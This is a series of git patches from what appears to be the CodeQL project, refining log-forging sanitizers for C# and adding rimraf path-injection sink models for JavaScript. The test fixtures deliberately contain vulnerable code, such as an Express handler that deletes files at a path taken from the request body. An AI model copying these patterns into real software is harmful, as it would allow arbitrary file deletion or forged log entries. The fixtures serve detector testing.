public class LogForgingHandler : IHttpHandler public void ProcessRequest(HttpContext ctx) { - String username = ctx.Request.QueryString["username"]; + String username = ctx.Request.QueryString["username"]; // $ Source ILogger logger = new ILogger(); // BAD: Logged as-is - logger.Warn(username + " logged in"); + logger.Warn(username + " logged in"); // $ Alert // GOOD: New-lines removed logger.Warn(username.Replace(Environment.NewLine, "") + " logged in"); // GOOD: New-lines removed @@ -28,11 +28,11 @@ public class LogForgingHandler : IHttpHandler // GOOD: Html encoded logger.Warn(WebUtility.HtmlEncode(username) + " logged in"); // BAD: Logged as-is to TraceSource - new TraceSource("Test").TraceInformation(username + " logged in"); + new TraceSource("Test").TraceInformation(username + " logged in"); // $ Alert Microsoft.Extensions.Logging.ILogger logger2 = null; // BAD: Logged as-is - logger2.LogError(username); + logger2.LogError(username); // $ Alert } public bool IsReusable diff --git a/csharp/ql/test/query-tests/Security Features/CWE-117/LogForging.expected b/csharp/ql/test/query-tests/Security Features/CWE-117/LogForging.expected index f817ebd27b0..d7177aaf0de 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-117/LogForging.expected +++ b/csharp/ql/test/query-tests/Security Features/CWE-117/LogForging.expected @@ -2,7 +2,9 @@ | LogForging.cs:21:21:21:43 | ... + ... | LogForging.cs:18:27:18:49 | access to property QueryString : NameValueCollection | LogForging.cs:21:21:21:43 | ... + ... | This log entry depends on a $@. | LogForging.cs:18:27:18:49 | access to property QueryString | user-provided value | | LogForging.cs:31:50:31:72 | ... + ... | LogForging.cs:18:27:18:49 | access to property QueryString : NameValueCollection | LogForging.cs:31:50:31:72 | ... + ... | This log entry depends on a $@. | LogForging.cs:18:27:18:49 | access to property QueryString | user-provided value | | LogForging.cs:35:26:35:33 | access to local variable username | LogForging.cs:18:27:18:49 | access to property QueryString : NameValueCollection | LogForging.cs:35:26:35:33 | access to local variable username | This log entry depends on a $@. | LogForging.cs:18:27:18:49 | access to property QueryString | user-provided value | -| LogForgingAsp.cs:12:21:12:43 | ... + ... | LogForgingAsp.cs:8:32:8:39 | username : String | LogForgingAsp.cs:12:21:12:43 | ... + ... | This log entry depends on a $@. | LogForgingAsp.cs:8:32:8:39 | username | user-provided value | +| LogForgingAsp.cs:17:21:17:43 | ... + ... | LogForgingAsp.cs:13:32:13:39 | username : String | LogForgingAsp.cs:17:21:17:43 | ... + ... | This log entry depends on a $@. | LogForgingAsp.cs:13:32:13:39 | username | user-provided value | +| LogForgingAsp.cs:86:21:86:50 | $"..." | LogForgingAsp.cs:82:37:82:37 | e : TestEnum | LogForgingAsp.cs:86:21:86:50 | $"..." | This log entry depends on a $@. | LogForgingAsp.cs:82:37:82:37 | e | user-provided value | +| LogForgingAsp.cs:93:21:93:61 | $"..." | LogForgingAsp.cs:89:47:89:48 | dt : DateTimeOffset | LogForgingAsp.cs:93:21:93:61 | $"..." | This log entry depends on a $@. | LogForgingAsp.cs:89:47:89:48 | dt | user-provided value | edges | LogForging.cs:18:16:18:23 | access to local variable username : String | LogForging.cs:21:21:21:43 | ... + ... | provenance | | | LogForging.cs:18:16:18:23 | access to local variable username : String | LogForging.cs:31:50:31:72 | ... + ... | provenance | | @@ -10,7 +12,9 @@ edges | LogForging.cs:18:27:18:49 | access to property QueryString : NameValueCollection | LogForging.cs:18:16:18:23 | access to local variable username : String | provenance | | | LogForging.cs:18:27:18:49 | access to property QueryString : NameValueCollection | LogForging.cs:18:27:18:61 | access to indexer : String | provenance | MaD:1 | | LogForging.cs:18:27:18:61 | access to indexer : String | LogForging.cs:18:16:18:23 | access to local variable username : String | provenance | | -| LogForgingAsp.cs:8:32:8:39 | username : String | LogForgingAsp.cs:12:21:12:43 | ... + ... | provenance | | +| LogForgingAsp.cs:13:32:13:39 | username : String | LogForgingAsp.cs:17:21:17:43 | ... + ... | provenance | | +| LogForgingAsp.cs:82:37:82:37 | e : TestEnum | LogForgingAsp.cs:86:21:86:50 | $"..." | provenance | | +| LogForgingAsp.cs:89:47:89:48 | dt : DateTimeOffset | LogForgingAsp.cs:93:21:93:61 | $"..." | provenance | | models | 1 | Summary: System.Collections.Specialized; NameValueCollection; false; get_Item; (System.String); ; Argument[this]; ReturnValue; taint; df-generated | nodes @@ -20,6 +24,15 @@ nodes | LogForging.cs:21:21:21:43 | ... + ... | semmle.label | ... + ... | | LogForging.cs:31:50:31:72 | ... + ... | semmle.label | ... + ... | | LogForging.cs:35:26:35:33 | access to local variable username | semmle.label | access to local variable username | -| LogForgingAsp.cs:8:32:8:39 | username : String | semmle.label | username : String | -| LogForgingAsp.cs:12:21:12:43 | ... + ... | semmle.label | ... + ... | +| LogForgingAsp.cs:13:32:13:39 | username : String | semmle.label | username : String | +| LogForgingAsp.cs:17:21:17:43 | ... + ... | semmle.label | ... + ... | +| LogForgingAsp.cs:82:37:82:37 | e : TestEnum | semmle.label | e : TestEnum | +| LogForgingAsp.cs:86:21:86:50 | $"..." | semmle.label | $"..." | +| LogForgingAsp.cs:89:47:89:48 | dt : DateTimeOffset | semmle.label | dt : DateTimeOffset | +| LogForgingAsp.cs:93:21:93:61 | $"..." | semmle.label | $"..." | subpaths +testFailures +| LogForgingAsp.cs:82:37:82:37 | e : TestEnum | Unexpected result: Source | +| LogForgingAsp.cs:86:21:86:50 | $"..." | Unexpected result: Alert | +| LogForgingAsp.cs:89:47:89:48 | dt : DateTimeOffset | Unexpected result: Source | +| LogForgingAsp.cs:93:21:93:61 | $"..." | Unexpected result: Alert | diff --git a/csharp/ql/test/query-tests/Security Features/CWE-117/LogForging.qlref b/csharp/ql/test/query-tests/Security Features/CWE-117/LogForging.qlref index a41529bfeb1..7396362dcbf 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-117/LogForging.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-117/LogForging.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-117/LogForging.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingAsp.cs b/csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingAsp.cs index 1bbef682496..b65b42ce969 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingAsp.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingAsp.cs @@ -10,11 +10,11 @@ public enum TestEnum public class AspController : ControllerBase { - public void Action1(string username) + public void Action1(string username) // $ Source { var logger = new ILogger(); // BAD: Logged as-is - logger.Warn(username + " logged in"); + logger.Warn(username + " logged in"); // $ Alert } public void Action1(DateTime date) @@ -89,7 +89,7 @@ public class AspController : ControllerBase public void ActionDateTime(DateTimeOffset dt) { var logger = new ILogger(); - // GOOD: DateTimeOffset is a sanitizer. [FALSEPOSITIVE] + // GOOD: DateTimeOffset is a sanitizer. [FALSE POSITIVE] logger.Warn($"Warning about the DateTimeOffset: {dt}"); } } From cf75493fe9b6f9ea21882f2c124af8a28637527b Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 2 Apr 2025 11:16:06 +0200 Subject: [PATCH 237/282] C#: Consider Enums and System.DateTimeOffset as having a sanitizing effect. --- csharp/ql/lib/semmle/code/csharp/frameworks/System.qll | 5 +++++ csharp/ql/lib/semmle/code/csharp/security/Sanitizers.qll | 5 +++-- 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/System.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/System.qll index 56e063b1b5e..678563589e8 100644 --- a/csharp/ql/lib/semmle/code/csharp/frameworks/System.qll +++ b/csharp/ql/lib/semmle/code/csharp/frameworks/System.qll @@ -756,6 +756,11 @@ class SystemDateTimeStruct extends SystemStruct { SystemDateTimeStruct() { this.hasName("DateTime") } } +/** The `System.DateTimeOffset` struct. */ +class SystemDateTimeOffsetStruct extends SystemStruct { + SystemDateTimeOffsetStruct() { this.hasName("DateTimeOffset") } +} + /** The `System.Span` struct. */ class SystemSpanStruct extends SystemUnboundGenericStruct { SystemSpanStruct() { diff --git a/csharp/ql/lib/semmle/code/csharp/security/Sanitizers.qll b/csharp/ql/lib/semmle/code/csharp/security/Sanitizers.qll index 08874cb533e..db4b3c6da18 100644 --- a/csharp/ql/lib/semmle/code/csharp/security/Sanitizers.qll +++ b/csharp/ql/lib/semmle/code/csharp/security/Sanitizers.qll @@ -57,8 +57,9 @@ class SimpleTypeSanitizedExpr extends DataFlow::ExprNode { SimpleTypeSanitizedExpr() { exists(Type t | t = this.getType() or t = this.getType().(NullableType).getUnderlyingType() | t instanceof SimpleType or - t instanceof SystemDateTimeStruct - // or t instanceof Enum + t instanceof SystemDateTimeStruct or + t instanceof SystemDateTimeOffsetStruct or + t instanceof Enum ) } } From d7f5ce249297b16dd9d7ffb9e3972116f6c0f12d Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 2 Apr 2025 11:19:37 +0200 Subject: [PATCH 238/282] C#: Update log forging expected test output. --- .../Security Features/CWE-117/LogForging.expected | 13 ------------- .../Security Features/CWE-117/LogForgingAsp.cs | 4 ++-- 2 files changed, 2 insertions(+), 15 deletions(-) diff --git a/csharp/ql/test/query-tests/Security Features/CWE-117/LogForging.expected b/csharp/ql/test/query-tests/Security Features/CWE-117/LogForging.expected index d7177aaf0de..1820eaa07d9 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-117/LogForging.expected +++ b/csharp/ql/test/query-tests/Security Features/CWE-117/LogForging.expected @@ -3,8 +3,6 @@ | LogForging.cs:31:50:31:72 | ... + ... | LogForging.cs:18:27:18:49 | access to property QueryString : NameValueCollection | LogForging.cs:31:50:31:72 | ... + ... | This log entry depends on a $@. | LogForging.cs:18:27:18:49 | access to property QueryString | user-provided value | | LogForging.cs:35:26:35:33 | access to local variable username | LogForging.cs:18:27:18:49 | access to property QueryString : NameValueCollection | LogForging.cs:35:26:35:33 | access to local variable username | This log entry depends on a $@. | LogForging.cs:18:27:18:49 | access to property QueryString | user-provided value | | LogForgingAsp.cs:17:21:17:43 | ... + ... | LogForgingAsp.cs:13:32:13:39 | username : String | LogForgingAsp.cs:17:21:17:43 | ... + ... | This log entry depends on a $@. | LogForgingAsp.cs:13:32:13:39 | username | user-provided value | -| LogForgingAsp.cs:86:21:86:50 | $"..." | LogForgingAsp.cs:82:37:82:37 | e : TestEnum | LogForgingAsp.cs:86:21:86:50 | $"..." | This log entry depends on a $@. | LogForgingAsp.cs:82:37:82:37 | e | user-provided value | -| LogForgingAsp.cs:93:21:93:61 | $"..." | LogForgingAsp.cs:89:47:89:48 | dt : DateTimeOffset | LogForgingAsp.cs:93:21:93:61 | $"..." | This log entry depends on a $@. | LogForgingAsp.cs:89:47:89:48 | dt | user-provided value | edges | LogForging.cs:18:16:18:23 | access to local variable username : String | LogForging.cs:21:21:21:43 | ... + ... | provenance | | | LogForging.cs:18:16:18:23 | access to local variable username : String | LogForging.cs:31:50:31:72 | ... + ... | provenance | | @@ -13,8 +11,6 @@ edges | LogForging.cs:18:27:18:49 | access to property QueryString : NameValueCollection | LogForging.cs:18:27:18:61 | access to indexer : String | provenance | MaD:1 | | LogForging.cs:18:27:18:61 | access to indexer : String | LogForging.cs:18:16:18:23 | access to local variable username : String | provenance | | | LogForgingAsp.cs:13:32:13:39 | username : String | LogForgingAsp.cs:17:21:17:43 | ... + ... | provenance | | -| LogForgingAsp.cs:82:37:82:37 | e : TestEnum | LogForgingAsp.cs:86:21:86:50 | $"..." | provenance | | -| LogForgingAsp.cs:89:47:89:48 | dt : DateTimeOffset | LogForgingAsp.cs:93:21:93:61 | $"..." | provenance | | models | 1 | Summary: System.Collections.Specialized; NameValueCollection; false; get_Item; (System.String); ; Argument[this]; ReturnValue; taint; df-generated | nodes @@ -26,13 +22,4 @@ nodes | LogForging.cs:35:26:35:33 | access to local variable username | semmle.label | access to local variable username | | LogForgingAsp.cs:13:32:13:39 | username : String | semmle.label | username : String | | LogForgingAsp.cs:17:21:17:43 | ... + ... | semmle.label | ... + ... | -| LogForgingAsp.cs:82:37:82:37 | e : TestEnum | semmle.label | e : TestEnum | -| LogForgingAsp.cs:86:21:86:50 | $"..." | semmle.label | $"..." | -| LogForgingAsp.cs:89:47:89:48 | dt : DateTimeOffset | semmle.label | dt : DateTimeOffset | -| LogForgingAsp.cs:93:21:93:61 | $"..." | semmle.label | $"..." | subpaths -testFailures -| LogForgingAsp.cs:82:37:82:37 | e : TestEnum | Unexpected result: Source | -| LogForgingAsp.cs:86:21:86:50 | $"..." | Unexpected result: Alert | -| LogForgingAsp.cs:89:47:89:48 | dt : DateTimeOffset | Unexpected result: Source | -| LogForgingAsp.cs:93:21:93:61 | $"..." | Unexpected result: Alert | diff --git a/csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingAsp.cs b/csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingAsp.cs index b65b42ce969..64f0e34e569 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingAsp.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingAsp.cs @@ -82,14 +82,14 @@ public class AspController : ControllerBase public void ActionEnum(TestEnum e) { var logger = new ILogger(); - // GOOD: Enum is a sanitizer. [FALSE POSITIVE] + // GOOD: Enum is a sanitizer. logger.Warn($"Warning about the enum: {e}"); } public void ActionDateTime(DateTimeOffset dt) { var logger = new ILogger(); - // GOOD: DateTimeOffset is a sanitizer. [FALSE POSITIVE] + // GOOD: DateTimeOffset is a sanitizer. logger.Warn($"Warning about the DateTimeOffset: {dt}"); } } From 22c943657aae161afbbe79fa5fbb96306bac4c55 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 2 Apr 2025 09:38:15 +0200 Subject: [PATCH 239/282] C#: Update change note. --- .../ql/src/change-notes/2024-09-18-csharp-log-forging-enum.md | 4 ---- csharp/ql/src/change-notes/2025-04-02-simple-type-enum.md | 4 ++++ 2 files changed, 4 insertions(+), 4 deletions(-) delete mode 100644 csharp/ql/src/change-notes/2024-09-18-csharp-log-forging-enum.md create mode 100644 csharp/ql/src/change-notes/2025-04-02-simple-type-enum.md diff --git a/csharp/ql/src/change-notes/2024-09-18-csharp-log-forging-enum.md b/csharp/ql/src/change-notes/2024-09-18-csharp-log-forging-enum.md deleted file mode 100644 index 5c0dc208ac8..00000000000 --- a/csharp/ql/src/change-notes/2024-09-18-csharp-log-forging-enum.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: fix ---- -* Enhanced LogForgingQuery to treat C# Enums as simple types. \ No newline at end of file diff --git a/csharp/ql/src/change-notes/2025-04-02-simple-type-enum.md b/csharp/ql/src/change-notes/2025-04-02-simple-type-enum.md new file mode 100644 index 00000000000..ac93bd31b3e --- /dev/null +++ b/csharp/ql/src/change-notes/2025-04-02-simple-type-enum.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Enums and `System.DateTimeOffset` are now treated as *simple* types, which means that they are considered to have a sanitizing effect. This impacts many queries, among others the `cs/log-forging` query. From 8663f3b8b2db90f6c804b023173e47df1b0ca60a Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Wed, 2 Apr 2025 12:32:28 +0200 Subject: [PATCH 240/282] Rust: Add another disjunct to `postWithInFlowExclude` --- .../lib/codeql/rust/dataflow/internal/DataFlowConsistency.qll | 3 +++ 1 file changed, 3 insertions(+) diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowConsistency.qll b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowConsistency.qll index c95056a7dba..f8e24c4c34a 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowConsistency.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowConsistency.qll @@ -1,6 +1,7 @@ import codeql.rust.dataflow.DataFlow::DataFlow as DataFlow private import rust private import codeql.rust.dataflow.internal.DataFlowImpl +private import codeql.rust.dataflow.internal.FlowSummaryImpl as FlowSummaryImpl private import codeql.rust.dataflow.internal.Node as Node private import codeql.rust.dataflow.internal.TaintTrackingImpl private import codeql.dataflow.internal.DataFlowImplConsistency @@ -20,6 +21,8 @@ private module Input implements InputSig { n.(Node::PostUpdateNode).getPreUpdateNode().asExpr() = any(Node::ReceiverNode r).getReceiver() or n.(Node::PostUpdateNode).getPreUpdateNode().asExpr() = getPostUpdateReverseStep(_, _) + or + FlowSummaryImpl::Private::Steps::sourceLocalStep(_, n, _) } predicate missingLocationExclude(RustDataFlow::Node n) { not exists(n.asExpr().getLocation()) } From 14999c19dacc263ec37f0d0bad1124a6ffa33dd8 Mon Sep 17 00:00:00 2001 From: Napalys Date: Wed, 2 Apr 2025 10:21:17 +0200 Subject: [PATCH 241/282] Added test cases for `rimraf` library. --- .../Security/CWE-022/TaintedPath/rimraf.js | 30 +++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/rimraf.js diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/rimraf.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/rimraf.js new file mode 100644 index 00000000000..a6f3c52068a --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/rimraf.js @@ -0,0 +1,30 @@ +const express = require('express'); +const rimraf = require('rimraf'); + +const app = express(); +app.use(express.json()); + +app.post('/rmsync', async (req, res) => { + const { path } = req.body; // $ MISSING: Source + + rimraf.sync(path); // $ MISSING: Alert + rimraf.rimrafSync(path); // $ MISSING: Alert + rimraf.native(path); // $ MISSING: Alert + await rimraf.native(path); // $ MISSING: Alert + rimraf.native.sync(path); // $ MISSING: Alert + rimraf.nativeSync(path); // $ MISSING: Alert + await rimraf.manual(path); // $ MISSING: Alert + rimraf.manual(path); // $ MISSING: Alert + rimraf.manual.sync(path); // $ MISSING: Alert + rimraf.manualSync(path); // $ MISSING: Alert + await rimraf.windows(path); // $ MISSING: Alert + rimraf.windows(path); // $ MISSING: Alert + rimraf.windows.sync(path); // $ MISSING: Alert + rimraf.windowsSync(path); // $ MISSING: Alert + rimraf.moveRemove(path); // $ MISSING: Alert + rimraf.moveRemove.sync(path); // $ MISSING: Alert + rimraf.moveRemoveSync(path); // $ MISSING: Alert + rimraf.posixSync(path); // $ MISSING: Alert + rimraf.posix(path); // $ MISSING: Alert + rimraf.posix.sync(path); // $ MISSING: Alert +}); From b16b407f892d4adaf377f84ea099ad14fa3366e5 Mon Sep 17 00:00:00 2001 From: Napalys Date: Wed, 2 Apr 2025 12:49:48 +0200 Subject: [PATCH 242/282] Add `rimraf` model and update tests for path injection vulnerabilities --- javascript/ql/lib/ext/rimraf.model.yml | 8 +++ .../CWE-022/TaintedPath/TaintedPath.expected | 67 +++++++++++++++++++ .../Security/CWE-022/TaintedPath/rimraf.js | 42 ++++++------ 3 files changed, 96 insertions(+), 21 deletions(-) create mode 100644 javascript/ql/lib/ext/rimraf.model.yml diff --git a/javascript/ql/lib/ext/rimraf.model.yml b/javascript/ql/lib/ext/rimraf.model.yml new file mode 100644 index 00000000000..8afd53e47ef --- /dev/null +++ b/javascript/ql/lib/ext/rimraf.model.yml @@ -0,0 +1,8 @@ +extensions: + - addsTo: + pack: codeql/javascript-all + extensible: sinkModel + data: + - ["rimraf", "Member[sync,native,manual,windows,moveRemove,posix].Argument[0]", "path-injection"] + - ["rimraf", "Member[rimrafSync,nativeSync,manualSync,windowsSync,moveRemoveSync,posixSync].Argument[0]", "path-injection"] + - ["rimraf", "Member[native,manual,windows,moveRemove,posix].Member[sync].Argument[0]", "path-injection"] diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected index 4147726065e..99be2545b8e 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected @@ -168,6 +168,26 @@ | prettier.js:11:44:11:44 | p | prettier.js:6:13:6:13 | p | prettier.js:11:44:11:44 | p | This path depends on a $@. | prettier.js:6:13:6:13 | p | user-provided value | | pupeteer.js:9:28:9:34 | tainted | pupeteer.js:5:28:5:53 | parseTo ... t).name | pupeteer.js:9:28:9:34 | tainted | This path depends on a $@. | pupeteer.js:5:28:5:53 | parseTo ... t).name | user-provided value | | pupeteer.js:13:37:13:43 | tainted | pupeteer.js:5:28:5:53 | parseTo ... t).name | pupeteer.js:13:37:13:43 | tainted | This path depends on a $@. | pupeteer.js:5:28:5:53 | parseTo ... t).name | user-provided value | +| rimraf.js:10:17:10:20 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:10:17:10:20 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | +| rimraf.js:11:23:11:26 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:11:23:11:26 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | +| rimraf.js:12:19:12:22 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:12:19:12:22 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | +| rimraf.js:13:25:13:28 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:13:25:13:28 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | +| rimraf.js:14:24:14:27 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:14:24:14:27 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | +| rimraf.js:15:23:15:26 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:15:23:15:26 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | +| rimraf.js:16:25:16:28 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:16:25:16:28 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | +| rimraf.js:17:19:17:22 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:17:19:17:22 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | +| rimraf.js:18:24:18:27 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:18:24:18:27 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | +| rimraf.js:19:23:19:26 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:19:23:19:26 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | +| rimraf.js:20:26:20:29 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:20:26:20:29 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | +| rimraf.js:21:20:21:23 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:21:20:21:23 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | +| rimraf.js:22:25:22:28 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:22:25:22:28 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | +| rimraf.js:23:24:23:27 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:23:24:23:27 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | +| rimraf.js:24:23:24:26 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:24:23:24:26 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | +| rimraf.js:25:28:25:31 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:25:28:25:31 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | +| rimraf.js:26:27:26:30 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:26:27:26:30 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | +| rimraf.js:27:22:27:25 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:27:22:27:25 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | +| rimraf.js:28:18:28:21 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:28:18:28:21 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | +| rimraf.js:29:23:29:26 | path | rimraf.js:8:22:8:29 | req.body | rimraf.js:29:23:29:26 | path | This path depends on a $@. | rimraf.js:8:22:8:29 | req.body | user-provided value | | sharedlib-repro.js:22:18:22:25 | filepath | sharedlib-repro.js:13:22:13:43 | req.par ... spaceId | sharedlib-repro.js:22:18:22:25 | filepath | This path depends on a $@. | sharedlib-repro.js:13:22:13:43 | req.par ... spaceId | user-provided value | | tainted-access-paths.js:8:19:8:22 | path | tainted-access-paths.js:6:24:6:30 | req.url | tainted-access-paths.js:8:19:8:22 | path | This path depends on a $@. | tainted-access-paths.js:6:24:6:30 | req.url | user-provided value | | tainted-access-paths.js:12:19:12:25 | obj.sub | tainted-access-paths.js:6:24:6:30 | req.url | tainted-access-paths.js:12:19:12:25 | obj.sub | This path depends on a $@. | tainted-access-paths.js:6:24:6:30 | req.url | user-provided value | @@ -594,6 +614,29 @@ edges | pupeteer.js:5:9:5:71 | tainted | pupeteer.js:13:37:13:43 | tainted | provenance | | | pupeteer.js:5:19:5:71 | "dir/" ... t.data" | pupeteer.js:5:9:5:71 | tainted | provenance | | | pupeteer.js:5:28:5:53 | parseTo ... t).name | pupeteer.js:5:19:5:71 | "dir/" ... t.data" | provenance | Config | +| rimraf.js:8:11:8:18 | { path } | rimraf.js:8:13:8:16 | path | provenance | Config | +| rimraf.js:8:11:8:29 | path | rimraf.js:10:17:10:20 | path | provenance | | +| rimraf.js:8:11:8:29 | path | rimraf.js:11:23:11:26 | path | provenance | | +| rimraf.js:8:11:8:29 | path | rimraf.js:12:19:12:22 | path | provenance | | +| rimraf.js:8:11:8:29 | path | rimraf.js:13:25:13:28 | path | provenance | | +| rimraf.js:8:11:8:29 | path | rimraf.js:14:24:14:27 | path | provenance | | +| rimraf.js:8:11:8:29 | path | rimraf.js:15:23:15:26 | path | provenance | | +| rimraf.js:8:11:8:29 | path | rimraf.js:16:25:16:28 | path | provenance | | +| rimraf.js:8:11:8:29 | path | rimraf.js:17:19:17:22 | path | provenance | | +| rimraf.js:8:11:8:29 | path | rimraf.js:18:24:18:27 | path | provenance | | +| rimraf.js:8:11:8:29 | path | rimraf.js:19:23:19:26 | path | provenance | | +| rimraf.js:8:11:8:29 | path | rimraf.js:20:26:20:29 | path | provenance | | +| rimraf.js:8:11:8:29 | path | rimraf.js:21:20:21:23 | path | provenance | | +| rimraf.js:8:11:8:29 | path | rimraf.js:22:25:22:28 | path | provenance | | +| rimraf.js:8:11:8:29 | path | rimraf.js:23:24:23:27 | path | provenance | | +| rimraf.js:8:11:8:29 | path | rimraf.js:24:23:24:26 | path | provenance | | +| rimraf.js:8:11:8:29 | path | rimraf.js:25:28:25:31 | path | provenance | | +| rimraf.js:8:11:8:29 | path | rimraf.js:26:27:26:30 | path | provenance | | +| rimraf.js:8:11:8:29 | path | rimraf.js:27:22:27:25 | path | provenance | | +| rimraf.js:8:11:8:29 | path | rimraf.js:28:18:28:21 | path | provenance | | +| rimraf.js:8:11:8:29 | path | rimraf.js:29:23:29:26 | path | provenance | | +| rimraf.js:8:13:8:16 | path | rimraf.js:8:11:8:29 | path | provenance | | +| rimraf.js:8:22:8:29 | req.body | rimraf.js:8:11:8:18 | { path } | provenance | | | sharedlib-repro.js:13:22:13:43 | req.par ... spaceId | sharedlib-repro.js:21:27:21:34 | filepath | provenance | | | sharedlib-repro.js:21:27:21:34 | filepath | sharedlib-repro.js:22:18:22:25 | filepath | provenance | | | tainted-access-paths.js:6:7:6:48 | path | tainted-access-paths.js:8:19:8:22 | path | provenance | | @@ -1133,6 +1176,30 @@ nodes | pupeteer.js:5:28:5:53 | parseTo ... t).name | semmle.label | parseTo ... t).name | | pupeteer.js:9:28:9:34 | tainted | semmle.label | tainted | | pupeteer.js:13:37:13:43 | tainted | semmle.label | tainted | +| rimraf.js:8:11:8:18 | { path } | semmle.label | { path } | +| rimraf.js:8:11:8:29 | path | semmle.label | path | +| rimraf.js:8:13:8:16 | path | semmle.label | path | +| rimraf.js:8:22:8:29 | req.body | semmle.label | req.body | +| rimraf.js:10:17:10:20 | path | semmle.label | path | +| rimraf.js:11:23:11:26 | path | semmle.label | path | +| rimraf.js:12:19:12:22 | path | semmle.label | path | +| rimraf.js:13:25:13:28 | path | semmle.label | path | +| rimraf.js:14:24:14:27 | path | semmle.label | path | +| rimraf.js:15:23:15:26 | path | semmle.label | path | +| rimraf.js:16:25:16:28 | path | semmle.label | path | +| rimraf.js:17:19:17:22 | path | semmle.label | path | +| rimraf.js:18:24:18:27 | path | semmle.label | path | +| rimraf.js:19:23:19:26 | path | semmle.label | path | +| rimraf.js:20:26:20:29 | path | semmle.label | path | +| rimraf.js:21:20:21:23 | path | semmle.label | path | +| rimraf.js:22:25:22:28 | path | semmle.label | path | +| rimraf.js:23:24:23:27 | path | semmle.label | path | +| rimraf.js:24:23:24:26 | path | semmle.label | path | +| rimraf.js:25:28:25:31 | path | semmle.label | path | +| rimraf.js:26:27:26:30 | path | semmle.label | path | +| rimraf.js:27:22:27:25 | path | semmle.label | path | +| rimraf.js:28:18:28:21 | path | semmle.label | path | +| rimraf.js:29:23:29:26 | path | semmle.label | path | | sharedlib-repro.js:13:22:13:43 | req.par ... spaceId | semmle.label | req.par ... spaceId | | sharedlib-repro.js:21:27:21:34 | filepath | semmle.label | filepath | | sharedlib-repro.js:22:18:22:25 | filepath | semmle.label | filepath | diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/rimraf.js 